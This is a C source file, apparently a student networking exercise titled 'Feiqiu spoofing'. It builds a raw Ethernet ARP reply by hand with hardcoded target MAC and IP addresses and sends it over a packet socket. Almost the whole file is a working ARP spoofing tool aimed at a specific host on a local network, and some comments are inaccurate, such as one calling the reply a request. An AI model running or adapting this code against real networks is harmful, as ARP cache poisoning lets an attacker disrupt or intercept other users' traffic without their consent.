/*************************************************************************
> File Name: feiqiucheat.c
> Author: hzy
> Created Time: 2023-09-25 16:13:30
> Description:飞秋欺骗
************************************************************************/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <netinet/ether.h>
#include <arpa/inet.h>
#include <sys/ioctl.h>
#include <netpacket/packet.h>
#include <net/if.h>
#include <sys/types.h>
#include <sys/socket.h>

// ip:10.7.178.150  mac:54-05-DB-96-2C-1A

int main(int argc, char const *argv[])
{
    // 创建原始套接字
    int sock_raw_fd = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
    if (sock_raw_fd < 0)
    {
        perror("socket");
        exit(-1);
    }

    // 获取网络接口
    struct ifreq ensreq; // 定义网络接口地址
    bzero(&ensreq, sizeof(ensreq));
    strncpy(ensreq.ifr_name, "ens33", IFNAMSIZ); // 拷贝网卡名称到结构体
    int ret = ioctl(sock_raw_fd, SIOCGIFINDEX, &ensreq);
    if (ret == -1)
    {
        perror("ioctl");
        close(sock_raw_fd);
        exit(-1);
    }

    // 组ARP包
    unsigned char buf[1500] = {
        // 以太网头部
        0x00, 0x0c, 0x29, 0x6b, 0x0c, 0x4c, // 广播地址-目的MAC
        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 本机电脑的MAC地址
        0x08, 0x06,                         // 帧类型
        // ARP请求/应答
        0x00, 0x01,                         // 硬件类型
        0x08, 0x00,                         // 协议类型
        0x06,                               // 硬件地址长度
        0x04,                               // 协议地址长度
        0x00, 0x02,                         // op 表示发送请求
        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 本机电脑的MAC地址
        10, 0, 0, 0,                         // 源ip地址
        0x00, 0x0c, 0x29, 0x6b, 0x0c, 0x4c, // 目的MAC地址
        10, 7, 178, 220                     // 目的ip
    };

    // 发送ARP数据包
    struct sockaddr_ll sll;
    bzero(&sll, sizeof(sll));
    sll.sll_ifindex = ensreq.ifr_ifindex;
    // printf("index:%d\n", ensreq.ifr_ifindex);
    int ret2 = sendto(sock_raw_fd, buf, sizeof(buf), 0, (struct sockaddr *)&sll, sizeof(sll));
    if (ret2 < 0)
    {
        perror("sendto");
        close(sock_raw_fd);
        exit(-1);
    }

    return 0;
}